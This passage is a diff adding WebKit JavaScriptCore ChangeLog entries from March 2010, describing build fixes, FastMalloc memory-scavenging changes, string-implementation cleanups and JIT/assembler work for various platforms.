+2010-03-17  Mike Homey  <glandium@debian.org>
+
+        Reviewed by Gustavo Noronha.
+
+        Build fix for SPARC. Fix missing macro value.
+
+        * wtf/Platform.h:
+
+2010-03-16  Gavin Barraclough  <barraclough@apple.com>
+
+        Reviewed by Oliver Hunt, Darin Adler.
+
+        Bug 36083 - REGRESSION (r55772-r55834): Crash in JavaScriptCore RegExp code on PowerPC
+
+        The problem is a bug in our port of PCRE - that a read may take place from the first character in an
+        empty string.  For the time being, revert to using a valid pointer in the data segment rather than
+        an invalid non-null pointer into the zero-page for the empty string's data pointer.  A better fix for
+        this will be to remove PCRE.
+
+        * runtime/UStringImpl.cpp:
+        (JSC::UStringImpl::empty):
+
+2010-03-16  Darin Adler  <darin@apple.com>
+
+        Rolled out r56081 since it broke the Windows build.
+
+2010-03-16  Zoltan Horvath  <zoltan@webkit.org>
+
+        Reviewed by Darin Adler.
+
+        Remove extra <new> include and add guards to operator new/delete definitions
+        https://bugs.webkit.org/show_bug.cgi?id=35967
+
+        Remove extra <new> header include from FastAlloc.cpp since it is included in 
+        FastAlloc.h. Add ENABLE(GLOBAL_FASTMALLOC_NEW) macro guard to operator
+        new/delete/new []/delete [] definitions.
+
+        * wtf/FastMalloc.cpp:
+
+2010-03-15  Kwang Yul Seo  <skyul@company100.net>
+
+        Reviewed by Eric Seidel.
+
+        [BREWMP] Add a function to create a BREW instance without local variable declarations.
+        https://bugs.webkit.org/show_bug.cgi?id=34705
+
+        Add a template function to create a BREW instance in one line.
+
+        * wtf/brew/ShellBrew.h: Added.
+        (WTF::createInstance):
+
+2010-03-15  Geoffrey Garen  <ggaren@apple.com>
+
+        Not reviewed.
+
+        Removed a now-incorrect comment I forgot to remove in my last check-in.
+
+        * wtf/FastMalloc.cpp:
+        (WTF::TCMalloc_PageHeap::scavenge):
+
+2010-03-15  Geoffrey Garen  <ggaren@apple.com>
+
+        Reviewed by Sam Weinig.
+
+        Fixed a portion of:
+        <rdar://problem/7165917> | https://bugs.webkit.org/show_bug.cgi?id=28676
+        Safari 4 does not release memory back to the operating system fast enough (28676)
+
+        Every few seconds, release a percentage of the minimum unused page count
+        during that time period.
+
+        SunSpider reports no change, command-line or in-browser, Mac or Windows.
+        
+        * wtf/FastMalloc.cpp:
+        (WTF::TCMalloc_PageHeap::init):
+        (WTF::TCMalloc_PageHeap::signalScavenger):
+        (WTF::TCMalloc_PageHeap::initializeScavenger): Renamed shouldContinueScavenging
+        to shouldScavenge, since scavenging is no longer something that we interrupt.
+
+        (WTF::TCMalloc_PageHeap::scavenge): The new scavenging algorithm. Fixes
+        a bug where the old code would release only one item from each size class
+        per scavenge, potentially leaving large numbers of large-sized objects
+        unreleased for a long time.
+
+        (WTF::TCMalloc_PageHeap::shouldScavenge):
+        (WTF::TCMalloc_PageHeap::New):
+        (WTF::TCMalloc_PageHeap::AllocLarge):
+        (WTF::TCMalloc_PageHeap::Delete):
+        (WTF::TCMalloc_PageHeap::GrowHeap):
+        (WTF::TCMalloc_PageHeap::scavengerThread):
+        (WTF::TCMalloc_PageHeap::periodicScavenge): Updated to track the minimum
+        value of free_committed_pages_ during a given scavenge period.
+
+2010-03-15  Gavin Barraclough  <barraclough@apple.com>
+
+        Reviewed by Sam Weinig.
+
+        https://bugs.webkit.org/show_bug.cgi?id=35843
+        Re-land reverted fix to JSString::getIndex()
+
+        Calling getIndex() on a JSString in rope form may result in a JSException being thrown
+        if there is insuficient memory so value(exec) returns UString() with length zero,
+        which will be passed to jsSingleCharacterSubstring.
+        Add a slow case function to trap the error & return a safe null value, until the
+        exception is handled.
+
+        * runtime/JSString.cpp:
+        (JSC::JSString::getIndexSlowCase):
+        (JSC::JSString::getStringPropertyDescriptor):
+        * runtime/JSString.h:
+        (JSC::jsSingleCharacterSubstring):
+        (JSC::JSString::getIndex):
+        (JSC::jsSingleCharacterString):
+        (JSC::JSString::getStringPropertySlot):
+
+2010-03-04  Kenneth Rohde Christiansen  <kenneth@webkit.org>
+
+        Reviewed by Adam Roben.
+
+        Add a long long version of abs() for MSVC.
+
+        * wtf/MathExtras.h:
+        (abs):
+
+2010-03-15  Gabor Loki  <loki@webkit.org>
+
+        Reviewed by Gavin Barraclough.
+
+        Combine ctiTrampolines on ARM and Thumb-2
+        https://bugs.webkit.org/show_bug.cgi?id=36014
+
+        * jit/JITStubs.cpp:
+        (JSC::JITThunks::JITThunks):
+
+2010-03-12  Gavin Barraclough  <barraclough@apple.com>
+
+        Reviewed by NOBODY (build fix).
+
+        * JavaScriptCore.vcproj/JavaScriptCore/JavaScriptCore.def:
+
+2010-03-12  Gavin Barraclough  <barraclough@apple.com>
+
+        Reviewed by NOBODY (build fix).
+
+        * JavaScriptCore.vcproj/JavaScriptCore/JavaScriptCore.def:
+
+2010-03-11  Gavin Barraclough  <barraclough@apple.com>
+
+        Reviewed by Oliver Hunt.
+
+        Bug 36075 - Clean up screwyness re static string impls & Identifiers.
+
+        * API/JSClassRef.cpp:
+        (OpaqueJSClass::~OpaqueJSClass): Classname may be null/empty, and these are an identifer.  This is okay, since the null/empty strings are shared across all threads.
+        * JavaScriptCore.exp:
+        * runtime/Identifier.cpp:
+        (JSC::Identifier::add): No need to explicitly hash null reps, this is done in the ststic UStringImpl constructor.
+        (JSC::Identifier::addSlowCase): UStringImpl::empty() handled & checkCurrentIdentifierTable now called in the header.
+        (JSC::Identifier::checkCurrentIdentifierTable): Replaces checkSameIdentifierTable (this no longer checked the rep since the identifierTable pointer was removed from UString::Rep long ago).
+        * runtime/Identifier.h:
+        (JSC::Identifier::add): Replace call to checkSameIdentifierTable with call to checkCurrentIdentifierTable at head of function.
+        * runtime/UStringImpl.cpp:
+        (JSC::UStringImpl::~UStringImpl): Remove call to checkConsistency - this function no longer checks anything interesting.
+        * runtime/UStringImpl.h:
+        (JSC::UStringOrRopeImpl::UStringOrRopeImpl): Set s_refCountFlagIsIdentifier in static constructor.
+        (JSC::UStringImpl::UStringImpl): remove calls to checkConsistency (see above), add new ASSERT to substring constructor.
+        (JSC::UStringImpl::setHash): ASSERT not static (static strings set the hash in their constructor, should not reach this code path).
+        (JSC::UStringImpl::create): Add missing ASSERT.
+        (JSC::UStringImpl::setIsIdentifier): ASSERT !isStatic() (static strings hash set in constructor).
+
+2010-03-12  Peter Varga  <pvarga@inf.u-szeged.hu>
+
+        Reviewed by David Levin.
+
+        Two functions tryConsumeCharacter() and tryConsumeCharacterClass() are
+        removed from yarr/RegexInterpreter.cpp because they are never called.
+
+        * yarr/RegexInterpreter.cpp:
+
+2010-03-11  Jedrzej Nowacki  <jedrzej.nowacki@nokia.com>
+
+        Reviewed by Simon Hausmann.
+
+        The JSNative state was renamed to JSPrimitive. The new name better
+        coresponds to the ECMAScript standard.
+
+        Enum QScriptValuePrivate::States was renamed to State to obey Qt
+        coding style rules ("States" name suggests that a state could
+        mixed together with an other state using bitwise logic operators.
+
+        [Qt] QScriptValuePrivate::States has naming issues
+        https://bugs.webkit.org/show_bug.cgi?id=35968
+
+        * qt/api/qscriptvalue_p.h:
+        (QScriptValuePrivate::):
+        (QScriptValuePrivate::QScriptValuePrivate):
+        (QScriptValuePrivate::isBool):
+        (QScriptValuePrivate::isNumber):
+        (QScriptValuePrivate::isNull):
+        (QScriptValuePrivate::isString):
+        (QScriptValuePrivate::isUndefined):
+        (QScriptValuePrivate::toString):
+        (QScriptValuePrivate::toNumber):
+        (QScriptValuePrivate::toBool):
+        (QScriptValuePrivate::assignEngine):
+        (QScriptValuePrivate::refinedJSValue):
+
+2010-03-11  Gavin Barraclough  <barraclough@apple.com>
+
+        Reviewed by NOBODY (Windows build fix).
+
+        Add export.
+
+        * JavaScriptCore.vcproj/JavaScriptCore/JavaScriptCore.def:
+
+2010-03-11  Gavin Barraclough  <barraclough@apple.com>
+
+        Reviewed by NOBODY (Windows build fix).
+
+        Add export.
+
+        * JavaScriptCore.vcproj/JavaScriptCore/JavaScriptCore.def:
+
+2010-03-11  Gavin Barraclough  <barraclough@apple.com>
+
+        Rubber stamped by Oliver Hunt.
+
+        Remove nonsense comments used in development & commited in error.
+
+        * runtime/UStringImpl.h:
+
+2010-03-11  Gavin Barraclough  <barraclough@apple.com>
+
+        Reviewed by NOBODY (Windows build fix).
+
+        Remove export.
+
+        * JavaScriptCore.vcproj/JavaScriptCore/JavaScriptCore.def:
+
+2010-03-11  Gavin Barraclough  <barraclough@apple.com>
+
+        Reviewed by Oliver Hunt.
+
+        https://bugs.webkit.org/show_bug.cgi?id=36041
+        Remove unnecessary differences in common code between WebCore::StringImpl & JSC::UStringImpl
+
+        Much of the code in WebCore::StringImpl and JSC::UStringImpl is now very similar,
+        but has trivial and unnecessary formatting differences, such as the exact wording
+        of comments, missing ASSERTs, functions implemented in the .h vs .cpp etc.
+
+        * runtime/Identifier.cpp:
+        (JSC::Identifier::add): UStringImpl::empty() now automatically hashes, uas per WebCore strings.
+        (JSC::Identifier::addSlowCase): UStringImpl::empty() now automatically hashes, uas per WebCore strings.
+        * runtime/UStringImpl.cpp:
+        (JSC::UStringImpl::~UStringImpl): Only call bufferOwnership() once, add missing ASSERTs.
+        (JSC::UStringImpl::createUninitialized): Move from .h, not commonly called, no need to inline.
+        (JSC::UStringImpl::create): Move from .h, not commonly called, no need to inline.
+        (JSC::UStringImpl::sharedBuffer): Rewritten to more closely match WebCore implementation, remove need for separate baseSharedBuffer() method.
+        * runtime/UStringImpl.h:
+        (JSC::UStringImpl::UStringImpl): Automatically hash static strings, ASSERT m_data & m_length are non-null/non-zero in non-static strings.
+        (JSC::UStringImpl::setHash): Add missing ASSERT.
+        (JSC::UStringImpl::create): Moved to .cpp / added missing check for empty string creation.
+        (JSC::UStringImpl::adopt): Vector.size() returns size_t, not unsigned.
+        (JSC::UStringImpl::cost): Renamed m_bufferSubstring -> m_substringBuffer
+        (JSC::UStringImpl::hash): Reordered in file.
+        (JSC::UStringImpl::existingHash): Reordered in file.
+        (JSC::UStringImpl::computeHash): Reordered in file, renamed parameter.
+        (JSC::UStringImpl::checkConsistency): rewrote ASSERT.
+        (JSC::UStringImpl::bufferOwnership): Return type should be BufferOwnership.
+        (JSC::UStringImpl::): Moved friends to head of class.
+
+2010-03-11  Mark Rowe  <mrowe@apple.com>
+
+        Reviewed by David Kilzer.
+
+        <rdar://problem/7745082> Make it possible to build WebKit for older Mac OS X versions from the current Mac OS X version
+
+        Default to using the appropriate SDK if the target Mac OS X version is not the current Mac OS X version.
+
+        * Configurations/Base.xcconfig:
+
+2010-03-11  Mark Rowe  <mrowe@apple.com>
+
+        Reviewed by Tim Hatcher.
+
+        <rdar://problem/7745082> Make it possible to build WebKit for older Mac OS X versions from the current Mac OS X version
+
+        Introduce TARGET_MAC_OS_X_VERSION_MAJOR to represent the Mac OS X version that is being targeted.  It defaults to the
+        current Mac OS X version unless otherwise specified.
+
+        Key off TARGET_MAC_OS_X_VERSION_MAJOR where we'd previously been keying off MAC_OS_X_VERSION_MAJOR.
+
+        Explicitly map from the target Mac OS X version to the preferred compiler since Xcode's default compiler choice
+        may not be usable when targetting a different Mac OS X version.
+
+        Key off TARGET_GCC_VERSION rather than MAC_OS_X_VERSION_MAJOR in locations where we'd previously been keying off
+        MAC_OS_X_VERSION_MAJOR but the decision is really related to the compiler version being used.
+
+        * Configurations/Base.xcconfig:
+        * Configurations/DebugRelease.xcconfig:
+        * Configurations/FeatureDefines.xcconfig:
+        * Configurations/JavaScriptCore.xcconfig:
+        * Configurations/Version.xcconfig:
+
+2010-03-11  Simon Fraser  <simon.fraser@apple.com>
+
+        Reviewed by Mark Rowe.
+
+        Sort the project file.
+
+        * JavaScriptCore.xcodeproj/project.pbxproj:
+
+2010-03-11  Simon Fraser  <simon.fraser@apple.com>
+
+        Reviewed by Mark Rowe.
+
+        Sort the project file .
+
+        * JavaScriptCore.xcodeproj/project.pbxproj:
+
+2010-03-11  Gabor Loki  <loki@webkit.org>
+
+        Reviewed by Gavin Barraclough.
+
+        Buildfix for Thumb-2 after r55684. Add branch8 and branchTest8 functions.
+        https://bugs.webkit.org/show_bug.cgi?id=35892
+
+        * assembler/ARMv7Assembler.h:
+        (JSC::ARMv7Assembler::):
+        (JSC::ARMv7Assembler::ldrb):
+        * assembler/MacroAssemblerARMv7.h:
+        (JSC::MacroAssemblerARMv7::load8):
+        (JSC::MacroAssemblerARMv7::branch8):
+        (JSC::MacroAssemblerARMv7::branchTest8):
+        (JSC::MacroAssemblerARMv7::setTest8):
+
+2010-03-10  Gavin Barraclough  <barraclough@apple.com>
+
+        Rubber stamped by Oliver Hunt.
+        
+        Rename JSC::UStringImpl::data() to characters(), to match WebCore::StringImpl.
+
+        * API/JSClassRef.cpp:
+        (OpaqueJSClassContextData::OpaqueJSClassContextData):
+        * bytecompiler/BytecodeGenerator.cpp:
+        (JSC::keyForCharacterSwitch):
+        * bytecompiler/NodesCodegen.cpp:
+        (JSC::processClauseList):
+        * interpreter/Interpreter.cpp:
+        (JSC::Interpreter::privateExecute):
+        * jit/JITStubs.cpp:
+        (JSC::DEFINE_STUB_FUNCTION):
+        * runtime/ArrayPrototype.cpp:
+        (JSC::arrayProtoFuncToString):
+        * runtime/Identifier.cpp:
+        (JSC::Identifier::equal):
+        (JSC::Identifier::addSlowCase):
+        * runtime/JSString.cpp:
+        (JSC::JSString::resolveRope):
+        * runtime/UString.cpp:
+        (JSC::UString::toStrictUInt32):
+        (JSC::equal):
+        * runtime/UString.h:
+        (JSC::UString::data):
+        * runtime/UStringImpl.h:
+        (JSC::UStringImpl::characters):
+        (JSC::UStringImpl::hash):
+        (JSC::UStringImpl::setHash):
+
+2010-03-10  Gavin Barraclough  <barraclough@apple.com>
+
+        Reviewed by Darin Adler, Geoffrey Garen, Maciej Stachowiak.
+
+        https://bugs.webkit.org/show_bug.cgi?id=35991
+        Would be faster to not use a thread specific to implement StringImpl::empty()
+
+        Change JSC::UStringImpl's implementation of empty() match to match StringImpl's new implementation
+        (use a static defined within the empty() method), and change the interface to match too (return
+        a pointer not a reference). 
+
+        ~0% performance impact (possible minor progression from moving empty() from .h to .cpp).
+
+        * JavaScriptCore.exp:
+        * runtime/Identifier.cpp:
+        (JSC::Identifier::add):
+        (JSC::Identifier::addSlowCase):
+        * runtime/PropertyNameArray.cpp:
+        (JSC::PropertyNameArray::add):
+        * runtime/UString.cpp:
+        (JSC::initializeUString):
+        (JSC::UString::UString):
+        * runtime/UStringImpl.cpp:
+        (JSC::UStringImpl::empty):
+        (JSC::UStringImpl::create):
+        * runtime/UStringImpl.h:
+        (JSC::UStringImpl::adopt):
+        (JSC::UStringImpl::createUninitialized):
+        (JSC::UStringImpl::tryCreateUninitialized):
+
+2010-03-10  Dmitry Titov  <dimich@chromium.org>
+
+        Not reviewed, fixing Snow Leopard build.
+
+        * wtf/mac/MainThreadMac.mm: Forgot 'static' for a new local function.
+        (WTF::postTimer):
+
+2010-03-10  Dmitry Titov  <dimich@chromium.org>
+
+        Reviewed by Darin Adler.
+
+        Make Document::postTask to use a single queue of tasks, to fire them in order
+        https://bugs.webkit.org/show_bug.cgi?id=35943
+
+        The patch uses CFRunLoopTimer to schedule execution of tasks instead of performSelectorOnMainThread which apparently can starve other event sources.
+        The timer is used when the schedule request is coming on the main thread itself. This happens when the task is posted on the main thread or
+        when too many tasks are posted and the queue does 'stop and re-schedule' to make sure run loop has a chance to execute other events.
+
+        * wtf/mac/MainThreadMac.mm:
+        (WTF::timerFired):
+        (WTF::postTimer):
+        (WTF::scheduleDispatchFunctionsOnMainThread): Use timer posted to the current RunLoop if scheduling the task execution while on the main thread.
+
+2010-03-10  Geoffrey Garen  <ggaren@apple.com>
+
+        Windows build fix: added new symbol.
+
+        * JavaScriptCore.vcproj/JavaScriptCore/JavaScriptCore.def:
+
+2010-03-10  Geoffrey Garen  <ggaren@apple.com>
+
+        Windows build fix: removed old symbol.
+
+        * JavaScriptCore.vcproj/JavaScriptCore/JavaScriptCore.def:
+
+2010-03-09  Geoffrey Garen  <ggaren@apple.com>
+
+        Reviewed by Alexey Proskuryakov, Darin Adler, and Sam Weinig.
+
+        Refactored fastCheckConsistency to match some review comments:
+            - renamed fastCheckConsistency to fastMallocSize, and changed ValueCheck
+              to ASSERT that a pointer's fastMallocSize is not 0.
+            - implemented a version of fastMallocSize for tcmalloc.
+            
+        Also moved some pre-existing code around to avoid a problem related to
+        mismatched #define/#undef of malloc/free in this source file.
+
+        * JavaScriptCore.exp:
+        * wtf/FastMalloc.cpp:
+        (WTF::fastMallocSize): Renamed. Fixed indentation.
+
+        (WTF::TCMalloc_PageHeap::scavenge): Removed an incorrect ASSERT that
+        got in the way of testing the tcmalloc implementation. (More information
+        on why this ASSERT is incorrect is in <rdar://problem/7165917>.)
+
+        (WTF::TCMallocStats::fastMallocSize): Implemented for tcmalloc.
+
+        * wtf/FastMalloc.h: Updated for rename.
+
+        * wtf/ValueCheck.h:
+        (WTF::): Moved the ASSERT that used to be in fastCheckConsistency here.
+
+2010-03-10  Kevin Ollivier  <kevino@theolliviers.com>
+
+        Reviewed by Eric Seidel.
+
+        Make global new/delete operators configurable for all ports and disable it
+        for the wx port for now.
+
+        * wtf/FastMalloc.h:
+        * wtf/Platform.h:
+
+2010-03-09  Gavin Barraclough  <barraclough@apple.com>
+
+        Reviewed by NOBODY (reverting r54510).
+
+        This caused a performance regression, by breaking the code
+        generator's logic to calculate the skip level for resolving
+        variables (traced by rdar:7683350)  Reverting for now.
+
+        * parser/Grammar.y:
+        * parser/NodeConstructors.h:
+        (JSC::ContinueNode::ContinueNode):
+        (JSC::BreakNode::BreakNode):
+        (JSC::ForInNode::ForInNode):
+        * runtime/CommonIdentifiers.cpp:
+        (JSC::CommonIdentifiers::CommonIdentifiers):
+        * runtime/CommonIdentifiers.h:
+        * runtime/FunctionPrototype.cpp:
+        (JSC::FunctionPrototype::FunctionPrototype):
+        * runtime/Identifier.cpp:
+        (JSC::Identifier::add):
+        * runtime/PropertyNameArray.cpp:
+        (JSC::PropertyNameArray::add):
+
+2010-03-09  Geoffrey Garen  <ggaren@apple.com>
+
+        Reviewed by Darin Adler.
+
+        Changed FastMalloc statistics reporting to be a bit clearer. We now
+        report:
+            - Reserved VM Bytes: the VM that has been mapped into the process.
+            - Committed VM Bytes: the subset of Reserved VM Bytes actually in use.
+            - Free List Bytes: the subset of Committed VM Bytes in a free list.
+
+        * wtf/FastMalloc.cpp:
+        (WTF::fastMallocStatistics):
+        (WTF::TCMallocStats::fastMallocStatistics): Updated to report the statistics
+        above. Standardized use of "ifdef WTF_CHANGES". Added a SpinLockHolder
+        around all statistics gathering, since it reads from the page heap.
+
+        * wtf/FastMalloc.h: Updated to report the statistics above. 
+
+2010-03-09  Gabor Loki  <loki@webkit.org>
+
+        Rubber-stamped by Maciej Stachowiak.
+
+        Buildfix for ARM after r55684. Add branch8 and branchTest8 functions.
+        https://bugs.webkit.org/show_bug.cgi?id=35892
+
+        * assembler/ARMAssembler.cpp:
+        (JSC::ARMAssembler::dataTransfer32):
+        * assembler/ARMAssembler.h:
+        (JSC::ARMAssembler::):
+        * assembler/MacroAssemblerARM.h:
+        (JSC::MacroAssemblerARM::load8):
+        (JSC::MacroAssemblerARM::branch8):
+        (JSC::MacroAssemblerARM::branchTest8):
+
+2010-03-08  Geoffrey Garen  <ggaren@apple.com>
+
+        Windows build fix: 'P' is not a type. Luckily, 'void' is.
+
+        * wtf/FastMalloc.cpp:
+        (WTF::fastCheckConsistency):
+
+2010-03-08  Geoffrey Garen  <ggaren@apple.com>
+
+        Windows build fix: export a new symbol.
+
+        * JavaScriptCore.vcproj/JavaScriptCore/JavaScriptCore.def:
+
+2010-03-08  Geoffrey Garen  <ggaren@apple.com>
+
+        Reviewed by Maciej Stachowiak.
+
+        Switching malloc implementations requires a world rebuild
+        https://bugs.webkit.org/show_bug.cgi?id=35899
+
+        * wtf/FastMalloc.cpp:
+        (WTF::fastCheckConsistency):
+        (WTF::TCMallocStats::fastCheckConsistency):
+        * wtf/FastMalloc.h:
+        * wtf/ValueCheck.h:
+        (WTF::): Moved pointer checking into a helper function in FastMalloc.cpp,
+        so you can switch malloc implementations without rebuilding the world.
+
+2010-03-07  Oliver Hunt  <oliver@apple.com>
+
+        Reviewed by Darin Adler.
+
+        TypeInfo is unnecessarily large
+        https://bugs.webkit.org/show_bug.cgi?id=35850
+
+        Reduce the size of the type and flags members to a single
+        byte each, reducing the size of Structure by 8 bytes.
+
+        * assembler/MacroAssemblerX86Common.h:
+        (JSC::MacroAssemblerX86Common::branch8):
+        (JSC::MacroAssemblerX86Common::branchTest8):
+        (JSC::MacroAssemblerX86Common::setTest8):
+          Add single byte branches, and correct setTest8 to do a
+          single byte read from memory, and actually store the result
+        * assembler/X86Assembler.h:
+        (JSC::X86Assembler::):
+        (JSC::X86Assembler::cmpb_im):
+        (JSC::X86Assembler::testb_im):
+        * jit/JITCall.cpp:
+        (JSC::JIT::emit_op_construct_verify):
+        * jit/JITOpcodes.cpp:
+        (JSC::JIT::emit_op_instanceof):
+        (JSC::JIT::emit_op_jeq_null):
+        (JSC::JIT::emit_op_jneq_null):
+        (JSC::JIT::emit_op_get_pnames):
+        (JSC::JIT::emit_op_convert_this):
+        (JSC::JIT::emit_op_construct_verify):
+        (JSC::JIT::emit_op_to_jsnumber):
+        (JSC::JIT::emit_op_eq_null):
+        (JSC::JIT::emit_op_neq_null):
+        * runtime/JSTypeInfo.h:
+        (JSC::TypeInfo::TypeInfo):
+        (JSC::TypeInfo::type):
+
+2010-03-08  Gavin Barraclough  <barraclough@apple.com>
+
+        Reviewed by NOBODY (reverting regression).
+
+        Reverting 55035, this caused a regression.
+        (https://bugs.webkit.org/show_bug.cgi?id=35843)
+
+        * runtime/JSString.cpp:
+        (JSC::JSString::resolveRope):
+        (JSC::JSString::getStringPropertyDescriptor):
+        * runtime/JSString.h:
+        (JSC::jsSingleCharacterSubstring):
+        (JSC::JSString::getIndex):
+        (JSC::JSString::getStringPropertySlot):
+        * runtime/UStringImpl.cpp:
+        * runtime/UStringImpl.h:
+
+2010-03-08  Stuart Morgan  <stuartmorgan@chromium.org>
+
+        Reviewed by Darin Adler.
+
+        Added a new USE definition for secure text mode on the Mac.
+        https://bugs.webkit.org/show_bug.cgi?id=31265
+
+        * wtf/Platform.h:
+
+2010-03-08  Jian Li  <jianli@chromium.org>
+
+        Reviewed by Dmitry Titov.
+
+        Blob.slice support.
+        https://bugs.webkit.org/show_bug.cgi?id=32993
+
+        Add ENABLE_BLOB_SLICE feature define.
+        Also fix a problem that JSValue.toInteger is not exposed on Windows.
+
+        * Configurations/FeatureDefines.xcconfig:
+        * JavaScriptCore.vcproj/JavaScriptCore/JavaScriptCore.def:
+
+2010-03-07  Jedrzej Nowacki  <jedrzej.nowacki@nokia.com>
+
+        Reviewed by Simon Hausmann.
+
+        Small performance fix in the QScriptConverter::toString().
+
+        The QByteArray was replaced by the QVarLengthArray which doesn't
+        have to allocate any memory on heap.
+
+        [Qt] QScriptConverter::toString() should use QVarLengthArray instead of QByteArray
+        https://bugs.webkit.org/show_bug.cgi?id=35577
+
+        * qt/api/qscriptconverter_p.h:
+        (QScriptConverter::toString):
+
+2010-03-06  Mark Rowe  <mrowe@apple.com>
+
+        Rubber-stamped by Sam Weinig.
+
+        Remove unnecessary includes of wtf/Platform.h.  This is already pulled in by config.h.
+
+        * API/APICast.h:
+        * API/JSCallbackFunction.cpp:
+        * API/JSContextRef.cpp:
+        * API/JSObjectRef.cpp:
+        * API/JSValueRef.cpp:
+        * assembler/ARMAssembler.h:
+        * assembler/ARMv7Assembler.h:
+        * assembler/AbstractMacroAssembler.h:
+        * assembler/AssemblerBuffer.h:
+        * assembler/AssemblerBufferWithConstantPool.h:
+        * assembler/CodeLocation.h:
+        * assembler/LinkBuffer.h:
+        * assembler/MIPSAssembler.h:
+        * assembler/MacroAssembler.h:
+        * assembler/MacroAssemblerARM.h:
+        * assembler/MacroAssemblerARMv7.h:
+        * assembler/MacroAssemblerCodeRef.h:
+        * assembler/MacroAssemblerMIPS.h:
+        * assembler/MacroAssemblerX86.h:
+        * assembler/MacroAssemblerX86Common.h:
+        * assembler/MacroAssemblerX86_64.h:
+        * assembler/RepatchBuffer.h:
+        * assembler/X86Assembler.h:
+        * jit/JIT.h:
+        * jit/JITCode.h:
+        * jit/JITInlineMethods.h:
+        * jit/JITStubs.h:
+        * os-win32/stdint.h:
+        * runtime/JSAPIValueWrapper.h:
+        * runtime/JSImmediate.h:
+        * wtf/ASCIICType.h:
+        * wtf/StdLibExtras.h:
+        * wtf/VMTags.h:
+        * yarr/RegexCompiler.h:
+        * yarr/RegexInterpreter.h:
+        * yarr/RegexJIT.h:
+        * yarr/RegexParser.h:
+        * yarr/RegexPattern.h:
+
+2010-03-06  Kwang Yul Seo  <skyul@company100.net>
+
+        Reviewed by Eric Seidel.
+
+        [BREWMP] Share OwnPtr.
+        https://bugs.webkit.org/show_bug.cgi?id=35776
+
+        Share OwnPtr implementation with BREW MP and remove OwnPtrBrew.
+
+        * wtf/OwnPtrBrew.cpp: Added.
+        (WTF::deleteOwnedPtr):
+        * wtf/OwnPtrCommon.h:
+        * wtf/brew/OwnPtrBrew.cpp: Removed.
+        * wtf/brew/OwnPtrBrew.h: Removed.
+
+2010-03-06  Patrick Gansterer  <paroga@paroga.com>
+
+        Reviewed by Eric Seidel.
+
+        Implemented JIT_OPTIMIZE_NATIVE_CALL for WinCE
+        https://bugs.webkit.org/show_bug.cgi?id=33426
+
+        * jit/JITOpcodes.cpp:
+        (JSC::JIT::privateCompileCTIMachineTrampolines):
+
+2010-03-05  Oliver Hunt  <oliver@apple.com>
+
+        Reviewed by NOBODY (build fix).
+
+        Add enw exports to windows
+
+        * JavaScriptCore.vcproj/JavaScriptCore/JavaScriptCore.def:
+
+2010-03-05  Oliver Hunt  <oliver@apple.com>
+
+        Reviewed by Gavin Barraclough.
+
+        JSC should cache int to Identifier conversion as it does for ordinary strings
+        https://bugs.webkit.org/show_bug.cgi?id=35814
+
+        Make the NumericStrings cache cache unsigned ints in addition to signed.
+        We keep them separate from the int cache as it both simplifies code, and
+        also because the unsigned path is exclusive to property access and therefore
+        seems to have different usage patterns.
+
+        The primary trigger for the unsigned to Identifier propertyName conversion
+        is the construction of array-like objects out of normal objects.  Given these
+        tend to be relative small numbers, and the array-like behaviour lends itself
+        to sequential values this patch also adds a non-colliding cache for all small
+        numbers.
+
+        * JavaScriptCore.exp:
+        * runtime/Identifier.cpp:
+        (JSC::Identifier::from):
+        * runtime/Identifier.h:
+        * runtime/NumericStrings.h:
+        (JSC::NumericStrings::add):
+        (JSC::NumericStrings::lookup):
+        (JSC::NumericStrings::lookupSmallString):
+
+2010-03-03  Oliver Hunt  <oliver@apple.com>
+
+        Reviewed by Gavin Barraclough.
+
+        Allow static property getters to interact with JSCs caching
+        https://bugs.webkit.org/show_bug.cgi?id=35716
+
+        Add new opcodes for handling cached lookup of static value getters.
+        More or less the same as with JS getters, all that changes is that
+        instead of calling through a JSFunction we always know that we have
+        a C function to call.
+
+        For the patching routines in the JIT we now need to pass a few
+        new parameters to allow us to pass enough information to the stub
+        function to allow us to call the C function correctly.  Logically
+        this shouldn't actually be necessary as all of these functions ignore
+        the identifier, but removing the ident parameter would require
+        somewhat involved changes to the way we implement getOwnPropertySlot,
+        etc.
+
+        * bytecode/CodeBlock.cpp:
+        (JSC::CodeBlock::dump):
+        (JSC::CodeBlock::derefStructures):
+        (JSC::CodeBlock::refStructures):
+        * bytecode/Instruction.h:
+        (JSC::Instruction::Instruction):
+        (JSC::Instruction::):
+        * bytecode/Opcode.h:
+        * interpreter/Interpreter.cpp:
+        (JSC::Interpreter::tryCacheGetByID):
+        (JSC::Interpreter::privateExecute):
+        * jit/JIT.cpp:
+        (JSC::JIT::privateCompileMainPass):
+        * jit/JIT.h:
+        (JSC::JIT::compileGetByIdProto):
+        (JSC::JIT::compileGetByIdSelfList):
+        (JSC::JIT::compileGetByIdProtoList):
+        (JSC::JIT::compileGetByIdChainList):
+        (JSC::JIT::compileGetByIdChain):
+        * jit/JITPropertyAccess.cpp:
+        (JSC::JIT::privateCompileGetByIdProto):
+        (JSC::JIT::privateCompileGetByIdSelfList):
+        (JSC::JIT::privateCompileGetByIdProtoList):
+        (JSC::JIT::privateCompileGetByIdChainList):
+        (JSC::JIT::privateCompileGetByIdChain):
+        * jit/JITPropertyAccess32_64.cpp:
+        (JSC::JIT::privateCompileGetByIdProto):
+        (JSC::JIT::privateCompileGetByIdSelfList):
+        (JSC::JIT::privateCompileGetByIdProtoList):
+        (JSC::JIT::privateCompileGetByIdChainList):
+        (JSC::JIT::privateCompileGetByIdChain):
+        * jit/JITStubs.cpp:
+        (JSC::JITThunks::tryCacheGetByID):
+        (JSC::DEFINE_STUB_FUNCTION):
+        * jit/JITStubs.h:
+        (JSC::):
+        * runtime/JSFunction.cpp:
+        (JSC::JSFunction::getOwnPropertySlot):
+        * runtime/Lookup.h:
+        (JSC::getStaticPropertySlot):
+        (JSC::getStaticValueSlot):
+        * runtime/PropertySlot.h:
+        (JSC::PropertySlot::):
+        (JSC::PropertySlot::PropertySlot):
+        (JSC::PropertySlot::cachedPropertyType):
+        (JSC::PropertySlot::isCacheable):
+        (JSC::PropertySlot::isCacheableValue):
+        (JSC::PropertySlot::setValueSlot):
+        (JSC::PropertySlot::setCacheableCustom):
+        (JSC::PropertySlot::setGetterSlot):
+        (JSC::PropertySlot::setCacheableGetterSlot):
+        (JSC::PropertySlot::clearOffset):
+        (JSC::PropertySlot::customGetter):
+
+2010-03-04  Shinichiro Hamaji  <hamaji@chromium.org>
+
+        Unreviewed. Remove a non-ASCII character introduced in the following bug.
+
